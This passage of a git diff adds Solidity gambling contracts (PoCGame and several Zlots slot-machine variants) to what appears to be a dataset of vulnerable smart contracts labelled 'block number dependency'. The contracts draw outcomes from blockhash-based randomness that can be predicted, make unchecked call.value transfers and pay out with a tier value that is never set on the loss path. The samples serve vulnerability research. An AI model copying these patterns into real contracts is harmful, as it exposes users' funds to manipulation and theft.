public returns (bool success); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1044.sol b/smart_contract_dataset/block number dependency/1044.sol new file mode 100644 index 0000000000000000000000000000000000000000..307784f6924fb603f1899a934fde7a47a6c34eb0 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1044.sol @@ -0,0 +1,255 @@ +pragma solidity ^0.4.21; + + + + + + +contract PoCGame +{ + + + + modifier onlyOwner() + { + require(msg.sender == owner); + _; + } + + modifier isOpenToPublic() + { + require(openToPublic); + _; + } + + modifier onlyRealPeople() + { + require (msg.sender == tx.origin); + _; + } + + modifier onlyPlayers() + { + require (wagers[msg.sender] > 0); + _; + } + + + + event Wager(uint256 amount, address depositer); + event Win(uint256 amount, address paidTo); + event Lose(uint256 amount, address loser); + event Donate(uint256 amount, address paidTo, address donator); + event DifficultyChanged(uint256 currentDifficulty); + event BetLimitChanged(uint256 currentBetLimit); + + + address private whale; + uint256 betLimit; + uint difficulty; + uint private randomSeed; + address owner; + mapping(address => uint256) timestamps; + mapping(address => uint256) wagers; + bool openToPublic; + uint256 totalDonated; + + + constructor(address whaleAddress, uint256 wagerLimit) + onlyRealPeople() + public + { + openToPublic = false; + owner = msg.sender; + whale = whaleAddress; + totalDonated = 0; + betLimit = wagerLimit; + + } + + + + function OpenToThePublic() + onlyOwner() + public + { + openToPublic = true; + } + + + function AdjustBetAmounts(uint256 amount) + onlyOwner() + public + { + betLimit = amount; + + emit BetLimitChanged(betLimit); + } + + + function AdjustDifficulty(uint256 amount) + onlyOwner() + public + { + difficulty = amount; + + emit DifficultyChanged(difficulty); + } + + + function() public payable { } + + + function wager() + isOpenToPublic() + onlyRealPeople() + payable + public + { + + require(msg.value == betLimit); + + + timestamps[msg.sender] = block.number; + wagers[msg.sender] = msg.value; + emit Wager(msg.value, msg.sender); + } + + + function play() + isOpenToPublic() + onlyRealPeople() + onlyPlayers() + public + { + uint256 blockNumber = timestamps[msg.sender]; + if(blockNumber < block.number) + { + timestamps[msg.sender] = 0; + wagers[msg.sender] = 0; + + uint256 winningNumber = uint256(keccak256(abi.encodePacked(blockhash(blockNumber), msg.sender)))%difficulty +1; + + if(winningNumber == difficulty / 2) + { + payout(msg.sender); + } + else + { + + loseWager(betLimit / 2); + } + } + else + { + revert(); + } + } + + + function donate() + isOpenToPublic() + public + payable + { + donateToWhale(msg.value); + } + + + function payout(address winner) + internal + { + uint256 ethToTransfer = address(this).balance / 2; + + winner.transfer(ethToTransfer); + emit Win(ethToTransfer, winner); + } + + + function donateToWhale(uint256 amount) + internal + { + whale.call.value(amount)(bytes4(keccak256("donate()"))); + totalDonated += amount; + emit Donate(amount, whale, msg.sender); + } + + + function loseWager(uint256 amount) + internal + { + whale.call.value(amount)(bytes4(keccak256("donate()"))); + totalDonated += amount; + emit Lose(amount, msg.sender); + } + + + + function ethBalance() + public + view + returns (uint256) + { + return address(this).balance; + } + + + + function currentDifficulty() + public + view + returns (uint256) + { + return difficulty; + } + + + + function currentBetLimit() + public + view + returns (uint256) + { + return betLimit; + } + + function hasPlayerWagered(address player) + public + view + returns (bool) + { + if(wagers[player] > 0) + { + return true; + } + else + { + return false; + } + + } + + + function winnersPot() + public + view + returns (uint256) + { + return address(this).balance / 2; + } + + + function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) + public + onlyOwner() + returns (bool success) + { + return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); + } +} + + +contract ERC20Interface +{ + function transfer(address to, uint256 tokens) public returns (bool success); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1052.sol b/smart_contract_dataset/block number dependency/1052.sol new file mode 100644 index 0000000000000000000000000000000000000000..1924458edc56f03aa1c2d25542c3c585f37f2165 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1052.sol @@ -0,0 +1,625 @@ +pragma solidity ^0.4.24; + + + + +contract ZethrTokenBankroll{ + + function gameRequestTokens(address target, uint tokens) public; + function gameTokenAmount(address what) public returns (uint); +} + + +contract ZethrMainBankroll{ + function gameGetTokenBankrollList() public view returns (address[7]); +} + + +contract ZethrInterface{ + function withdraw() public; +} + + +library ZethrTierLibrary{ + + function getTier(uint divRate) internal pure returns (uint){ + + + + + + uint actualDiv = divRate; + if (actualDiv >= 30){ + return 6; + } else if (actualDiv >= 25){ + return 5; + } else if (actualDiv >= 20){ + return 4; + } else if (actualDiv >= 15){ + return 3; + } else if (actualDiv >= 10){ + return 2; + } else if (actualDiv >= 5){ + return 1; + } else if (actualDiv >= 2){ + return 0; + } else{ + + revert(); + } + } +} + + +contract ZlotsJackpotHoldingContract { + function payOutWinner(address winner) public; + function getJackpot() public view returns (uint); +} + + +contract ZethrBankrollBridge { + + ZethrInterface Zethr; + + + + + + address[7] UsedBankrollAddresses; + + + mapping(address => bool) ValidBankrollAddress; + + + function setupBankrollInterface(address ZethrMainBankrollAddress) internal { + + + Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D); + + + UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); + for(uint i=0; i<7; i++){ + ValidBankrollAddress[UsedBankrollAddresses[i]] = true; + } + } + + + modifier fromBankroll(){ + require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll"); + _; + } + + + + function RequestBankrollPayment(address to, uint tokens, uint tier) internal { + address tokenBankrollAddress = UsedBankrollAddresses[tier]; + ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); + } + + function getZethrTokenBankroll(uint divRate) public constant returns (ZethrTokenBankroll){ + return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]); + } +} + + +contract ZethrShell is ZethrBankrollBridge { + + + function WithdrawToBankroll() public { + address(UsedBankrollAddresses[0]).transfer(address(this).balance); + } + + + function WithdrawAndTransferToBankroll() public { + Zethr.withdraw(); + WithdrawToBankroll(); + } +} + + + +contract Zlots is ZethrShell { + using SafeMath for uint; + + + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHPrize(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreePurplePyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeRockets(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoPurplePyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoRockets(address _wagerer, uint _block); + event SpinConcluded(address _wagerer, uint _block); + + + + + + modifier betIsValid(uint _betSize, uint divRate) { + require(_betSize.mul(100) <= getMaxProfit(divRate)); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + + + uint constant public maxProfitDivisor = 1000000; + uint constant public houseEdgeDivisor = 1000; + mapping (uint => uint) public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 1e18; + address public zlotsJackpot; + address private owner; + address private bankroll; + bool gamePaused; + + + uint public totalSpins; + uint public totalZTHWagered; + mapping (uint => uint) public contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + + + + + constructor(address BankrollAddress) public { + + setupBankrollInterface(BankrollAddress); + + + owner = msg.sender; + + + ownerSetMaxProfitAsPercentOfHouse(50000); + + + bankroll = ZTHBANKROLL; + gameActive = true; + + + ownerSetMinBet(1e18); + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function execute(address _from, uint _value, uint divRate, bytes ) public fromBankroll returns (bool){ + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn, divRate); + return true; + } + + struct playerSpin { + uint200 tokenValue; + uint48 blockn; + uint8 tier; + uint divRate; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn, uint divRate) + private + betIsValid(_tkn.value, divRate) + { + + require(gameActive); + require(block.number < ((2 ** 56) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + + + + addContractBalance(divRate, _wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint48(block.number); + spin.tokenValue = uint200(_wagered); + spin.tier = uint8(ZethrTierLibrary.getTier(divRate)); + spin.divRate = divRate; + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + uint playerDivrate = spin.divRate; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 1000000; + } else { + + + + result = random(1000000, spin.blockn, target) + 1; + } + + if (result > 506856) { + + + + + RequestBankrollPayment(zlotsJackpot, spin.tokenValue / 100, tier); + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0), uint(0)); + + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else if (result < 2) { + + + + profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot(); + category = 1; + + + emit ThreeMoonJackpot(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, true); + + + uint8 tier = spin.tier; + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0), uint(0)); + + + ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target); + } else { + if (result < 299) { + + profit = SafeMath.mul(spin.tokenValue, 50); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else if (result < 3128) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 3; + emit ZTHPrize(target, spin.blockn); + } else if (result < 16961) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else if (result < 30794) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else if (result < 44627) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else if (result < 46627) { + + profit = SafeMath.mul(spin.tokenValue, 11); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else if (result < 49127) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 8; + emit ThreePurplePyramids(target, spin.blockn); + } else if (result < 51627) { + + profit = SafeMath.mul(spin.tokenValue, 9); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else if (result < 53127) { + + profit = SafeMath.mul(spin.tokenValue, 13); + category = 10; + emit ThreeRockets(target, spin.blockn); + } else if (result < 82530) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else if (result < 150423) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else if (result < 203888) { + + profit = spin.tokenValue; + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else if (result < 257353) { + + profit = spin.tokenValue; + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else if (result < 310818) { + + profit = spin.tokenValue; + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else if (result < 364283) { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else if (result < 417748) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125), 100); + category = 17; + emit TwoPurplePyramids(target, spin.blockn); + } else if (result < 471213) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133), 100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25), 10); + category = 19; + emit TwoRockets(target, spin.blockn); + } + + + subContractBalance(playerDivrate, profit); + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + tier = spin.tier; + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0), uint(0)); + RequestBankrollPayment(target, profit, tier); + } + + emit SpinConcluded(target, spin.blockn); + return result; + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function setMaxProfit(uint divRate) internal { + maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function getMaxProfit(uint divRate) public view returns (uint) { + return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function subContractBalance(uint divRate, uint sub) internal { + contractBalance[divRate] = contractBalance[divRate].sub(sub); + } + + + function addContractBalance(uint divRate, uint add) internal { + contractBalance[divRate] = contractBalance[divRate].add(add); + } + + + + + function bankrollExternalUpdateTokens(uint divRate, uint newBalance) + public + fromBankroll + { + contractBalance[divRate] = newBalance; + setMaxProfit(divRate); + } + + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 500000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(2); + setMaxProfit(5); + setMaxProfit(10); + setMaxProfit(15); + setMaxProfit(20); + setMaxProfit(25); + setMaxProfit(33); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerSetZlotsAddress(address zlotsAddress) public + onlyOwner + { + zlotsJackpot = zlotsAddress; + } + + + function pauseGame() public onlyOwnerOrBankroll { + gameActive = false; + } + + + function resumeGame() public onlyOwnerOrBankroll { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwnerOrBankroll { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwnerOrBankroll { + bankroll = _newBankroll; + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1056.sol b/smart_contract_dataset/block number dependency/1056.sol new file mode 100644 index 0000000000000000000000000000000000000000..a91bb0d91181562764b8237b1fc807d4cd598657 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1056.sol @@ -0,0 +1,619 @@ +pragma solidity ^0.4.24; + + + + +contract ZethrTokenBankroll{ + + function gameRequestTokens(address target, uint tokens) public; + function gameTokenAmount(address what) public returns (uint); +} + + +contract ZethrMainBankroll{ + function gameGetTokenBankrollList() public view returns (address[7]); +} + + +contract ZethrInterface{ + function withdraw() public; +} + + +library ZethrTierLibrary{ + + function getTier(uint divRate) internal pure returns (uint){ + + + + + + uint actualDiv = divRate; + if (actualDiv >= 30){ + return 6; + } else if (actualDiv >= 25){ + return 5; + } else if (actualDiv >= 20){ + return 4; + } else if (actualDiv >= 15){ + return 3; + } else if (actualDiv >= 10){ + return 2; + } else if (actualDiv >= 5){ + return 1; + } else if (actualDiv >= 2){ + return 0; + } else{ + + revert(); + } + } +} + + +contract ZlotsJackpotHoldingContract { + function payOutWinner(address winner) public; + function getJackpot() public view returns (uint); +} + + +contract ZethrBankrollBridge { + + ZethrInterface Zethr; + + + + + + address[7] UsedBankrollAddresses; + + + mapping(address => bool) ValidBankrollAddress; + + + function setupBankrollInterface(address ZethrMainBankrollAddress) internal { + + + Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D); + + + UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); + for(uint i=0; i<7; i++){ + ValidBankrollAddress[UsedBankrollAddresses[i]] = true; + } + } + + + modifier fromBankroll(){ + require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll"); + _; + } + + + + function RequestBankrollPayment(address to, uint tokens, uint tier) internal { + address tokenBankrollAddress = UsedBankrollAddresses[tier]; + ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); + } + + function getZethrTokenBankroll(uint divRate) public constant returns (ZethrTokenBankroll){ + return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]); + } +} + + +contract ZethrShell is ZethrBankrollBridge { + + + function WithdrawToBankroll() public { + address(UsedBankrollAddresses[0]).transfer(address(this).balance); + } + + + function WithdrawAndTransferToBankroll() public { + Zethr.withdraw(); + WithdrawToBankroll(); + } +} + + + +contract Zlots is ZethrShell { + using SafeMath for uint; + + + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHPrize(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreePurplePyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeRockets(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoPurplePyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoRockets(address _wagerer, uint _block); + event SpinConcluded(address _wagerer, uint _block); + + + + + + modifier betIsValid(uint _betSize, uint divRate) { + require(_betSize.mul(100) <= getMaxProfit(divRate)); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + + + uint constant public maxProfitDivisor = 1000000; + uint constant public houseEdgeDivisor = 1000; + mapping (uint => uint) public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 1e18; + address public zlotsJackpot; + address private owner; + address private bankroll; + bool gamePaused; + + + uint public totalSpins; + uint public totalZTHWagered; + mapping (uint => uint) public contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + + + + + constructor(address BankrollAddress) public { + + setupBankrollInterface(BankrollAddress); + + + owner = msg.sender; + + + ownerSetMaxProfitAsPercentOfHouse(50000); + + + bankroll = ZTHBANKROLL; + gameActive = true; + + + ownerSetMinBet(1e18); + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function execute(address _from, uint _value, uint divRate, bytes ) public fromBankroll returns (bool){ + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn, divRate); + return true; + } + + struct playerSpin { + uint200 tokenValue; + uint48 blockn; + uint8 tier; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn, uint divRate) + private + betIsValid(_tkn.value, divRate) + { + + require(gameActive); + require(block.number < ((2 ** 56) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + + + + addContractBalance(divRate, _wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint48(block.number); + spin.tokenValue = uint200(_wagered); + spin.tier = uint8(ZethrTierLibrary.getTier(divRate)); + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 1000000; + } else { + + + + result = random(1000000, spin.blockn, target) + 1; + } + + if (result > 506856) { + + + + + RequestBankrollPayment(zlotsJackpot, spin.tokenValue / 100, tier); + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else if (result < 2) { + + + + profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot(); + category = 1; + + + emit ThreeMoonJackpot(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, true); + + + uint8 tier = spin.tier; + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + + + ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target); + } else { + if (result < 299) { + + profit = SafeMath.mul(spin.tokenValue, 50); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else if (result < 3128) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 3; + emit ZTHPrize(target, spin.blockn); + } else if (result < 16961) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else if (result < 30794) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else if (result < 44627) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else if (result < 46627) { + + profit = SafeMath.mul(spin.tokenValue, 11); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else if (result < 49127) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 8; + emit ThreePurplePyramids(target, spin.blockn); + } else if (result < 51627) { + + profit = SafeMath.mul(spin.tokenValue, 9); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else if (result < 53127) { + + profit = SafeMath.mul(spin.tokenValue, 13); + category = 10; + emit ThreeRockets(target, spin.blockn); + } else if (result < 82530) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else if (result < 150423) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else if (result < 203888) { + + profit = spin.tokenValue; + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else if (result < 257353) { + + profit = spin.tokenValue; + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else if (result < 310818) { + + profit = spin.tokenValue; + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else if (result < 364283) { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else if (result < 417748) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125), 100); + category = 17; + emit TwoPurplePyramids(target, spin.blockn); + } else if (result < 471213) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133), 100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25), 10); + category = 19; + emit TwoRockets(target, spin.blockn); + } + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + tier = spin.tier; + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + RequestBankrollPayment(target, profit, tier); + } + + emit SpinConcluded(target, spin.blockn); + return result; + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function setMaxProfit(uint divRate) internal { + maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function getMaxProfit(uint divRate) public view returns (uint) { + return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function subContractBalance(uint divRate, uint sub) internal { + contractBalance[divRate] = contractBalance[divRate].sub(sub); + } + + + function addContractBalance(uint divRate, uint add) internal { + contractBalance[divRate] = contractBalance[divRate].add(add); + } + + + + + function bankrollExternalUpdateTokens(uint divRate, uint newBalance) + public + fromBankroll + { + contractBalance[divRate] = newBalance; + setMaxProfit(divRate); + } + + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 500000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(2); + setMaxProfit(5); + setMaxProfit(10); + setMaxProfit(15); + setMaxProfit(20); + setMaxProfit(25); + setMaxProfit(33); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerSetZlotsAddress(address zlotsAddress) public + onlyOwner + { + zlotsJackpot = zlotsAddress; + } + + + function pauseGame() public onlyOwnerOrBankroll { + gameActive = false; + } + + + function resumeGame() public onlyOwnerOrBankroll { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwnerOrBankroll { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwnerOrBankroll { + bankroll = _newBankroll; + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1096.sol b/smart_contract_dataset/block number dependency/1096.sol new file mode 100644 index 0000000000000000000000000000000000000000..4f1e7092ec3b9b7857aa8f8cfe76af94525b1244 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1096.sol @@ -0,0 +1,621 @@ +pragma solidity ^0.4.24; + + + + +contract ZethrTokenBankroll{ + + function gameRequestTokens(address target, uint tokens) public; + function gameTokenAmount(address what) public returns (uint); +} + + +contract ZethrMainBankroll{ + function gameGetTokenBankrollList() public view returns (address[7]); +} + + +contract ZethrInterface{ + function withdraw() public; +} + + +library ZethrTierLibrary{ + + function getTier(uint divRate) internal pure returns (uint){ + + + + + + uint actualDiv = divRate; + if (actualDiv >= 30){ + return 6; + } else if (actualDiv >= 25){ + return 5; + } else if (actualDiv >= 20){ + return 4; + } else if (actualDiv >= 15){ + return 3; + } else if (actualDiv >= 10){ + return 2; + } else if (actualDiv >= 5){ + return 1; + } else if (actualDiv >= 2){ + return 0; + } else{ + + revert(); + } + } +} + + +contract ZlotsJackpotHoldingContract { + function payOutWinner(address winner) public; + function getJackpot() public view returns (uint); +} + + +contract ZethrBankrollBridge { + + ZethrInterface Zethr; + + + + + + address[7] UsedBankrollAddresses; + + + mapping(address => bool) ValidBankrollAddress; + + + function setupBankrollInterface(address ZethrMainBankrollAddress) internal { + + + Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D); + + + UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); + for(uint i=0; i<7; i++){ + ValidBankrollAddress[UsedBankrollAddresses[i]] = true; + } + } + + + modifier fromBankroll(){ + require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll"); + _; + } + + + + function RequestBankrollPayment(address to, uint tokens, uint tier) internal { + address tokenBankrollAddress = UsedBankrollAddresses[tier]; + ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); + } + + function getZethrTokenBankroll(uint divRate) public constant returns (ZethrTokenBankroll){ + return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]); + } +} + + 